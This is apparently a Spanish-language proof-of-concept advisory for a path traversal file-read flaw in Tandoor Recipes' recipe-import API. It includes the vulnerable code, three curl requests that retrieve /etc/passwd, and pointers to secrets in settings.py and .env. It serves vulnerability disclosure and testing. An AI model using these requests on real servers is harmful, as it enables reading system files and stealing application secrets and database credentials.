
Prueba de concepto del exploit para CVE-2026-25964, una divulgación local de archivos autenticada en Tandoor Recipes mediante path traversal en la importación de recetas, que permite la lectura arbitraria de archivos.
Prueba de Concepto para Divulgación de Archivos Locales Autenticada mediante Importación de Recetas
Divulgación: Reportado originalmente por mí a través de GHSA-6485-jr28-52xx
⚠️ Solo para uso autorizado en pruebas de penetración/investigación.
| Campo | Valor |
|---|
| ID CVE | CVE-2026-25964 |
| Severidad | 🟡 Media |
| Puntuación CVSS | 4.9 |
| Vector CVSS | [CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N] |
| CWE | CWE-22: Path Traversal, CWE-73: Control Externo del Nombre de Archivo |
| Producto Afectado | Tandoor Recipes ≤ 2.5.0 |
| Versión Parcheada | 2.5.1 |
| Aviso | GHSA-6485-jr28-52xx |
Una vulnerabilidad de Path Traversal (CWE-22) con autorización inadecuada en el flujo de trabajo RecipeImport de Tandoor Recipes permite a usuarios autenticados con permisos de importación leer archivos arbitrarios en el servidor. Esta vulnerabilidad se origina por la falta de validación de entrada en el parámetro file_path y comprobaciones insuficientes en el backend de almacenamiento Local, lo que permite a un atacante eludir las restricciones del directorio de almacenamiento y acceder a archivos sensibles del sistema (por ejemplo, /etc/passwd) o archivos de configuración de la aplicación (por ejemplo, settings.py), lo que potencialmente conduce al compromiso total del sistema.
La vulnerabilidad existe debido a la falta de validación de la entrada proporcionada por el usuario contra la raíz de almacenamiento prevista de la aplicación.
/api/recipe-import/ permite a usuarios autenticados crear un objeto RecipeImport con un file_path y backend de storage arbitrarios. No se realiza ninguna validación para garantizar que el file_path se encuentre dentro del directorio de almacenamiento configurado.Local.get_file en cookbook/provider/local.py procesa la solicitud de recuperación de archivos:
@staticmethod
def get_file(recipe):
# VULNERABILIDAD: Abre directamente la ruta especificada en recipe.file_path
# sin verificar que se encuentre dentro del directorio raíz de almacenamiento.
file = io.BytesIO(open(recipe.file_path, 'rb').read())
return file
/etc/passwd) o rutas relativas (por ejemplo, ../../app/config.py).Cuando un objeto RecipeImport se convierte en un Recipe mediante la acción import_recipe, la ruta maliciosa se persiste. Una llamada posterior a get_recipe_file activa la operación de lectura vulnerable, devolviendo el contenido del archivo al usuario.
Requisitos previos: Una cuenta de usuario autenticada con permisos para importar recetas. Por defecto, este permiso podría estar restringido, pero si se otorga a roles con privilegios bajos, el impacto aumenta significativamente. Incluso para administradores, esto representa una violación del límite de seguridad, ya que los permisos a nivel de aplicación no deberían otorgar acceso de lectura a nivel del sistema de archivos.
Paso 1: Crear un Objeto de Importación Malicioso
Envíe una solicitud POST para crear un objeto RecipeImport que apunte al archivo objetivo (por ejemplo, /etc/passwd).
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-d '{
"name": "Admin_LFD_Final",
"file_path": "/etc/passwd",
"storage": 1,
"space": 1
}'
(Nota: storage: 1 normalmente corresponde al Almacenamiento Local predeterminado. Ajústelo si es necesario.)

Paso 2: Convertir la Importación en Receta
Active el proceso de importación para crear un objeto Recipe persistente. Anote el import_id (por ejemplo, 4) devuelto en el Paso 1.
curl -X POST "http://<TARGET_IP>:8081/api/recipe-import/<IMPORT_ID>/import_recipe/" \
-b "sessionid=<SESSION_ID>; csrftoken=<CSRF_TOKEN>" \
-H "X-CSRFToken: <CSRF_TOKEN>" \
-H "Content-Type: application/json" \
-H "Content-Length: 0"
(Reemplace <IMPORT_ID> con el ID de la respuesta del Paso 1. Esta solicitud devolverá el nuevo recipe_id (por ejemplo, 34)

Paso 3: Descargar el Archivo Arbitrario
Acceda al archivo a través del endpoint de archivos de recetas utilizando el nuevo id de receta devuelto en el Paso 2 (por ejemplo, 34).
curl -X GET "http://<TARGET_IP>:8081/api/get_recipe_file/<RECIPE_ID>/" \
-b "sessionid=<SESSION_ID>"
Resultado: El servidor devuelve el contenido de /etc/passwd, confirmando la vulnerabilidad LFD.
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
...

/etc/passwd permite la enumeración de usuarios del sistema./opt/recipes/recipes/settings.py (confirmado en las pruebas) o .env. Esto expone la SECRET_KEY (permitiendo la falsificación de sesiones) y las Credenciales de la Base de Datos (permitiendo el acceso directo a la base de datos).